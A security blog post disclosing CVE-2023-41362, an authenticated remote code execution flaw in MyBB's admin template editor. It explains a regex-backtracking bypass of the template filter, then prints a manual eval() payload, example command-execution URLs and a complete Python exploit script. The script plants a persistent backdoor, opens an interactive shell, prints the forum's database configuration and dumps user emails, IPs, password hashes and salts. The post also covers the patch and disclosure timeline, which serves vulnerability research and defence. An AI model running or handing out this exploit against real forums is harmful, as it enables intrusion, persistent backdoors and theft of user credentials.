MyBB Admin Panel RCE CVE-2023-41362
This blog post explores a critical vulnerability in MyBB’s admin panel, leading to authenticated Remote Code Execution (RCE). MyBB is a popular forum software with a template system that utilizes eval() to render templates.
We will discuss how this vulnerability in the admin panel’s template handling can be exploited for RCE.
We can change these templates in the admin panel. When we submit changes to templates they get put through the check_template()
function in admin/functions.php
.
This function employs regex patterns to scan templates for specific patterns that may indicate malicious code.
function check_template($template){
// Check to see if our database password is in the template
if(preg_match('#\$config\[(([\'|"]database[\'|"])|([^\'"].*?))\]\[(([\'|"](database|hostname|password|table_prefix|username)[\'|"])|([^\'"].*?))\]#i', $template)) {
return true;
}
// System calls via backtick
if(preg_match('#\$\s*\{#', $template)){
return true;
}
// Any other malicious acts?
// Courtesy of ZiNgA BuRgA
if(preg_match("~\\{\\$.+?\\}~s", preg_replace('~\\{\\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_ 0-9 ]+\\2\\]\s*)*\\}~', '', $template))){
return true;
}
return false;
}
If check_template returns true the template will be rejected and we won’t be able to use it.
In the 3rd case the input is passed through preg_replace before being checked by the preg_match function.
In PHP the Perl Compatible REgex (PCRE) functions (preg_match, preg_replace etc.) have a pitfall where they don’t throw an exception when they reach their backtrack limit. In the case of preg_replace it will return an empty string when the backtrack limit is reached which allows us to bypass the last preg_match. The regex used here is complex enough that we can cause catastrophic backtracking with just {$a[0]
with repeated [0]
after it. This is a form of ReDoS (Regex Denial of Service).
You can use this tool to determine if a regex is abusable, it even generates strings that trigger these issues.
You can test the behaviour of the PCRE functions in a PHP shell (php -a
):
php > echo ini_get('pcre.backtrack_limit');
1000000
php > echo preg_replace('~\\{\\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_ 0-9 ]+\\2\\]\s*)*\\}~', '', '{$a'.str_repeat('[0]',1891).'}TESTSTRING');
php >
This should print TESTSTRING but instead it will print nothing. Removing one (or more) of the [0]
parts (by reducing the number of repeats) will let it be printed as the backtracking/stack/recursion limit hasn’t been reached.
Now that we can bypass this check all we have to do is include the type payload it was made to prevent in your template (we must still avoid the regex checks before it).
The payload I went with was {$db->insert_id(isset($_GET[1])?die(eval($_GET[1])):'')}
.
Initially I thought I needed to find a useful function that was in the scope to use the {$x->()}
format but we found that once we had a function we could do any php calls we needed.
So we opted to use $db->insert_id()
as it doesnt really have any effect after using it and doesn’t error loudly when it doesn’t get input.
Proof of Concept
Manually
To demonstrate this vulnerability manually, follow these steps:
- Login to admin panel
- Navigate to “Templates & Style” > “Templates” > “Default Templates.”
- Select a template (for instance, “Who’s Online Templates”) and click on “online.”
- Add the following payload to the top of the template:
<!--{$db->insert_id(isset($_GET[1])?die(eval($_GET[1])):'')}{$a[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0]}-->
- Click one of the Save buttons
-
- PHPInfo PoC: http://example.com/online.php?1=phpinfo();
- Command Exec: http://example.com/online.php?1=system('whoami;pwd');
Exploit script
#!/usr/bin/python3
# Exploit script for CVE-2023-41362
# https://blog.sorcery.ie/posts/mybb_acp_rce/
import requests
import html
import argparse
import logging
from base64 import b64encode
class CustomFormatter(logging.Formatter):
yellow = "\x1b[33;20m"
red = "\x1b[31;20m"
bold_red = "\x1b[31;1m"
reset = "\x1b[0m"
format = "%(levelname)s: %(message)s"
FORMATS = {
logging.DEBUG: format,
logging.INFO: "[*] %(message)s",
logging.WARNING: yellow + format + reset,
logging.ERROR: red + format + reset,
logging.CRITICAL: bold_red + format + reset
}
def format(self, record):
log_fmt = self.FORMATS.get(record.levelno)
formatter = logging.Formatter(log_fmt)
return formatter.format(record)
logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)
ch = logging.StreamHandler()
ch.setFormatter(CustomFormatter())
logger.addHandler(ch)
def get_postkey(text):
return text.split('my_post_key" value="')[1].split('"')[0]
def send_php(php_code):
return session.get(f"{target}/online.php",cookies={'1':b64encode(php_code.encode()).decode()}).text
def remove():
logger.info("Removing payload from template")
rm_payload = '$db->query("UPDATE {$db->table_prefix}templates SET template=SUBSTRING_INDEX(template,\'}-->\',-1) WHERE template LIKE \'%[0][0][0][0]%\'");'
send_php(rm_payload)
logger.warning("Payload removed")
exit()
def dump_config():
dump_config_payload = 'print_r($config);'
print(send_php(dump_config_payload))
def dump_users():
users_payload = '$q=$db->query("SELECT CONCAT_WS(\',\',uid,username,email,hex(regip),hex(lastip),password,salt) as x FROM {$db->table_prefix}users");while($r=$db->fetch_array($q)){print($r[\'x\'].PHP_EOL);}die();'
logger.info(f"Saving user table to {domain}.txt")
with open(f"{domain}.txt",'w') as f:
f.write(send_php(users_payload))
logger.info(f"Complete")
def shell():
logger.info("Testing code exec...")
page = send_php('echo "lmao";')
if 'lmao' in page:
logger.info("Shell is working")
else:
logger.warning("Shell doesnt seem to work correctly")
logger.info("Special commands: exit (quit), remove (removes backdoor), config (prints mybb config), dump (dumps user table)")
while True:
command = input("Enter Command> ")
if command in ['exit','quit']:
break
if command == 'remove':
remove()
continue
if command == 'config':
dump_config()
continue
if command == 'dump':
dump_users()
continue
command = command.replace("'","\\'")
page = send_php(f"system('{command}');")
print(page)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="MyBB CVE-2023-41362 Exploit Script")
parser.add_argument("target", help="Target URL (e.g., https://example.com)")
parser.add_argument("username", help="Admin username")
parser.add_argument("password", help="Admin password")
parser.add_argument("--admincp", default="admin", help="Admin control panel path")
parser.add_argument("--user-agent", default="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36", help="User Agent")
args = parser.parse_args()
target = args.target.rstrip("/")
domain = args.target.split('://')[1].split('/')[0]
admincp_path = args.admincp
# login to admin
session = requests.Session()
session.headers.update({"User-Agent":args.user_agent})
logger.info(f"Logging into {target}/{admincp_path}/ as {args.username}")
login = session.post(f"{target}/{admincp_path}/index.php", data={"username":args.username, "password":args.password, "do":"login"})
if '<p id="message" class="error">' in login.text:
logger.error("Login Failed")
exit()
if 'This account has been locked out' in login.text:
logger.error("Account has been locked out for failing login too many times")
exit()
# we should have admin panel access now
page = session.get(f"{target}/{admincp_path}/index.php?module=style-templates&action=edit_template&title=online&sid=1").text
postkey = get_postkey(page)
existing_template = html.unescape(page.split('<textarea name="template" class="" id="template" style="width: 100%; height: 500px;" rows="5" cols="45">')[1].split('</textarea>')[0])
tid = page.split('tid" value="')[1].split('"')[0]
# using html comment to hide the insert_id() response of 0
# payload uses a lot of [0]'s to trigger catastrophic regex backtracking to bypass filter
payload = "<!--{$db->insert_id(isset($_COOKIE[1])?die(eval(base64_decode($_COOKIE[1]))):'')}{$a"+("[0]"*2000)+"}-->"
if '[0][0][0][0][0]' in existing_template:
logger.warning('Template already contains our payload code? Skipping to sending commands...')
else:
page = session.post(f"{target}/{admincp_path}/index.php?module=style-templates&action=edit_template",data={'my_post_key':postkey, 'tid':tid,'title':'online','sid':1,'template':f"{payload}{existing_template}","continue":"Save and Continue Editing"})
if "The selected template has successfully been saved." in page.text:
logger.info("Template saved!")
else:
logger.error("Template failed to save")
shell()
Conclusion
In conclusion, this vulnerability in MyBB’s admin panel highlights the importance of rigorously checking the return values of PHP’s PCRE functions, as MyBB did in their patch, because the functions will return False on failure (which is different to the return value 0 when they don’t match). PHP also provides the preg_last_error_msg() and preg_last_error() functions which may be useful.
For web application security testers, we hope this post serves as a valuable resource for understanding and identifying similar issues. If you find any please let me know about it by email or on Fedi/Twitter.
Timeline
Date | Action |
---|---|
12/08/2023 | Reported bug to ZDI |
24/08/2023 | ZDI Rejected the bug on the grounds that a high level of admin access is required |
25/08/2023 | Reported issue to MyBB |
28/08/2023 | Patch and advisory released |
30/08/2023 | Number CVE-2023-41362 assigned |
11/09/2023 | Blog post and exploit released |